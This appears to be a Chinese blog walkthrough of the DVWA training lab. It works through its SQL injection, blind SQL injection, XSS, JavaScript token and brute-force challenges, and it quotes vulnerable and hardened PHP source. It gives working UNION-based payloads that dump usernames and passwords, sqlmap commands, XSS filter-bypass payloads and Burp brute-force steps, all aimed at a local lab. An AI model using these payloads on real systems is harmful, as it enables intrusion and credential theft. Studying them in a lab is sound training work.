DVWA解题步骤
2022-9-28 18:4:36 Author: www.freebuf.com(查看原文) 阅读量:20 收藏

这里要用到sql的基本知识,在此就不多做赘述,具体可查询sql教程

Low

一、手注

手工注入抽象来讲,分为两步:

  • 找注入点(在哪里注入)

  • 构造注入内容(如何注入)

1、查看源码

if( isset( $_REQUEST[ 'Submit' ] ) ) {
   // Get input
   $id = $_REQUEST[ 'id' ];
   // Check database
   $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
   $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

服务器端的low.php并没有对客户输入的id进行任何检查与过滤,直接将SQL语句的执行结果显示给客户端
2、判断闭合方式
在这里插入图片描述

在这里插入图片描述
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
发现报错,再结合源码可判断是单引号闭合
3、爆破
<1>猜字段
为什么要猜字段呢?因为想要爆库要通过Union查询,先来了解一下Union查询吧

在大多数开发中,使用一条SELECT查询就会返回一个结果集。如果,我们想一次性查询多条SQL语句,并将每一条SELECT查询的结果合并成一个结果集返回。就需要用到Union操作符,将多个SELECT语句组合起来,这种查询被称为并(Union)或者复合查询。
就像命令注入中的;&这类连接符,命令注入用到了连接符(或者管道符);异曲同工,SQL注入也利用了“连接符”(Union联合查询)。

那union查询有哪些特性呢?

1.Union必须由两条或者两条以上的SELECT语句组成,语句之间使用Union链接。
2.Union中的每个查询必须包含相同的列、表达式或者聚合函数,他们出现的顺序可以不一致(这里指查询字段相同,表不一定一样)
3.列的数据类型必须兼容,兼容的含义是必须是数据库可以隐含的转换他们的类型
4、只有当前一条语句不成立时才会执行后一条

而order by x 可以从1开始,1 表示的第一个字段,2表示的第二个字段
如此类推就可以了,但是当不存在那个字段的时候,就会产生这样的错误。
unknown column name x,这样,字段数就是x-1。

当我们输入

1' order by 3#

在这里插入图片描述

但是当我把3改成2时
在这里插入图片描述
回显正常,说明有两列
<2>判断回显位置

-1' union select 1,2#

在这里插入图片描述
<3>爆破数据库、表、列以及字段

-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #

在这里插入图片描述
在这个数据库中有两张表,分别是uesrguestbook
<4>爆列名

-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #

在这里插入图片描述
在users这张表中存储着用户名和密码。
<5>爆字段

-1' union select user,password from users#

在这里插入图片描述
二、SQLMAP
手注太过麻烦,我们可以使用sqlmap自动注入。

这里要用到sqlmap基本知识,详细可见sqlmap基本应用

1、爆破数据库

python sqlmap.py -u 127.0.0.1/sqli/less-1/?id=1 -cookie="PHPSESSID=7o9isebq9u4s8h7p4l5kjlssb0" -batch  -dbs

在这里插入图片描述
结果如下:
在这里插入图片描述
2、爆破表名

python sqlmap.py -u 127.0.0.1/sqli/less-1/?id=1 -cookie="PHPSESSID=7o9isebq9u4s8h7p4l5kjlssb0" -batch  -D "dvwa" -tables

在这里插入图片描述
结果如下
在这里插入图片描述
由此可见,在这个数据库中有两张表分别是users和guestbook。
3、爆破列名

python sqlmap.py -u 127.0.0.1/sqli/less-1/?id=1 -cookie="PHPSESSID=7o9isebq9u4s8h7p4l5kjlssb0" -batch  -D "dvwa" -T "users" -columns

在这里插入图片描述
结果如下
在这里插入图片描述
至此爆破完成

Medium

一、手注
1、查看源码

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

发现传参方式是POST,而且对于参数id其闭合方式为**$id**
2、爆破
打开题目,发现与上一题不同
在这里插入图片描述
我们可以尝试抓包,然后利用Repeater模块回显
<1>判断注入方式
id=1 and 1=1--+ &Submit=Submit
在这里插入图片描述
id=1 and 1=2--+ &Submit=Submit
在这里插入图片描述
发现 and 1=1 与 and 1=2 回显有差异,说明是数字型注入。
<2>判断列数

1' order by 2#

其余步骤与LOW一致,在此就不多做赘述。
二、SQLMAP

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1" -data "id=1&Submit=Submit" -cookie "security=medium; PHPSESSID=9n1dgih83e4s6fq00t1kgv9au6" -dbs -batch

因为这里是HTTP传参方式是POST,所以需要data参数
在这里插入图片描述
在这里插入图片描述

High

一、手注
1、查看源码

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

没有对传参进行限制,但是limit 1进行限制,说明扫出一个结果就不向下扫描了,只输出一个结果。
2、爆破
<1>判断注入方式
1'报错,加上#,回显正常,字符型注入,使用单引号闭合
在这里插入图片描述
2、爆破列数
1' order by 2#
在这里插入图片描述
其余步骤与之前一致,在此就不多做赘述。
二、SQLMAP
本题利用页面跳转防止自动化注入,需要利用二阶注入。playload如下

python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/session-input.php#" -data "id=1&Submit=Submit" -cookie "security=high; PHPSESSID=tg91k1cvbreprkeuq27t8cbff6" --second-url "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/" -dbs -batch

其中second-url后面的就是页面跳转前的url
在这里插入图片描述
成功爆破,其余步骤如上

Impossible

查看源码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,一方面:Impossible级别的代码采用了PDO技术,进行了模拟预编译,划清了代码与数据的界限(bindParam),有效防御SQL注入;另一方面:只有返回的查询结果数量为1时,才会成功输出,这样就有效预防了脱库,Anti-CSRFtoken机制的加入了进一步提高了安全性。

Low

一、查看源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

发现没有任何过滤。
二、步骤
直接在输入框输入playload:

<script>alert(1)</script>

在这里插入图片描述
出现弹窗本题得解

Medium

一、查看源码

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

<script>标签进行了过滤
二、步骤
<1>可以利用大小写绕过
playload:<Scipt>alert(1)</Script>
在这里插入图片描述
<2>可以双写绕过
<scr<script>ipt>alert(/xss/)</script>

High

查看源码

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

preg_replace这个函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
<img src=1 onerror=alert(1)>

Impossible

查看源码

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

htmlspecialchars函数把预定义的字符转换为HTML实体,可以防止XSS。

Low

一、查源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

二、解题
发现没有任何过滤,直接在message框输入,playload如下

<script>alert(1)</script>

在这里插入图片描述
结束

Medium

一、查看源码

<?php
    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

?>

二、解题
本题对<script>标签做了限制,大小写绕过,playload如下

<Script>alert(1)</Script>

High

一、查看源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

<script>标签做了过滤,但是忽略了其他危险标签,可以使用iframe、img标签,playload如下:
<img src=1 onerror=alert(/name/)>

在这里插入图片描述

impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

对name和message都进行了htmlspecialchars过滤,防止了xss攻击。

Low

一、查看源码

<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

    function rot13(inp) {
        return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
    }

    function generate_token() {
        var phrase = document.getElementById("phrase").value;
        document.getElementById("token").value = md5(rot13(phrase));
    }

    generate_token();
</script>
EOF;
?>

二、解题
打开后让我们输入success,输入后发现在这里插入图片描述
提示token不正确,查看源码发现token在generate_token函数中进行了md5(rot13(phrase))加密,利用开发者工具中的控制台在这里插入图片描述
然后修改token的值,完成。
在这里插入图片描述

在这里插入图片描述

Medium

一、查看源码

<?php
$page[ 'body' ] .= <<<EOF
<script src="/DVWA/vulnerabilities/javascript/source/medium.js"></script>
EOF;
?>

发现token在/DVWA/vulnerabilities/javascript/source/medium.js下,打开这个网址,

function do_something(e)
{
      for(var t = "", n = e.length - 1; n >=0; n--)
            t += e[n];
      return t
}

setTimeout(function()
{
      do_elsesomething("XX")
},300);

function do_elsesomething(e)
{
      document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

直接在控制台运行do_elsesomething("XX")函数,然后注入success,本题即可得解。
在这里插入图片描述

High

一、查看源码

<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>

发现其指向/vulnerabilities/javascript/source/high.js,打开后发现是js混淆,可对其进行还原,利用还原工具
二、还原后重要代码如下

function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}

function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}

function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}

function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}

document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

由此可知,token是由三部分组成,分别为token_part_1、token_part_2以及token_part_3,由于执行 token_part_2("XX") 有 300 毫秒延时,所以 token_part_1("ABCD", 44) 会被先执行,而 token_part_3() 则是和提交按钮的 click 事件一起执行。
三、解题方法
先在输入框输入success,依次执行 token_part_1("ABCD", 44) 和 token_part_2("XX"),最后点击提交执行 token_part_3()。
在这里插入图片描述本题得解
当然也可以使用这种方法

impossible

查看源码,发现没有源码,再打开界面在这里插入图片描述
不相信任何来源,无解。

Low

二、SQLMAP

python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -cookie "security_level=0; PHPSESSID=jgmgfp1b13u3o0kqadfpr66s26; security=low;id=1" -batch -dbs

Medium

二、SQLMAP

python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/" -data "id=1&Submit=Submit" -cookie "id=1;security_level=0; PHPSESSID=jgmgfp1b13u3o0kqadfpr66s26; security=medium" -batch -dbs

High

二、SQLMAP
利用sqlmap求解,playload如下

python sqlmap.py -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php#" --second-url "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie "id=1;security_level=0; PHPSESSID=hh5ep6usfj1h22ll3dhfs1kd93;security=high"  -batch -dbs

在这里插入图片描述
其余步骤不再多做赘述。

impossible

一、查看源码

<?php 
 
if( isset( $_GET[ 'Submit' ] ) ) {
 
    // Check Anti-CSRF token
 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
 
    // Get input
 
    $id = $_GET[ 'id' ]; 
 
    // Was a number entered?
 
    if(is_numeric( $id )) {
 
        // Check the database
 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
 
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
 
        $data->execute(); 
 
        // Get results
 
        if( $data->rowCount() == 1 ) {
 
            // Feedback for end user
 
            echo '<pre>User ID exists in the database.</pre>';
 
        }
 
        else {
 
            // User wasn't found, so the page wasn't!
 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 
 
            // Feedback for end user
 
            echo '<pre>User ID is MISSING from the database.</pre>';
 
        }
 
    }
 
} 
 
// Generate Anti-CSRF token
 
generateSessionToken(); 
 
?>

可以看出,impossible prepare 和 PDO 防御SQL,注入,同时加入了token验证机制,进一步提高其安全性

Low

一、查看源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

二、解题
可以利用暴力破解
1、抓包
在这里插入图片描述
2、发送给Intruder模块
在这里插入图片描述
3、选择playload
在这里插入图片描述
4、成功爆破
在这里插入图片描述

Medium

在这一关中源码添加了mysql_real_escape_string函数,这个函数会对字符串中的特殊子符进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入,但不影响暴力破解。

High

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

查看源码可知,对其进行了token认证,我们可以利用burpsuite记录token。
1、抓包设置要爆破的点

在这里插入图片描述
2、在playload中设置第一个爆破点,也就是password
在这里插入图片描述
3、设置第二个
<1>重定向设置为总是
在这里插入图片描述
<2>记录token的值并添加
在这里插入图片描述
<3>选择递归搜索并将token值复制到第一个请求的初始有效负载
在这里插入图片描述
然后爆破即可。

impossible

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

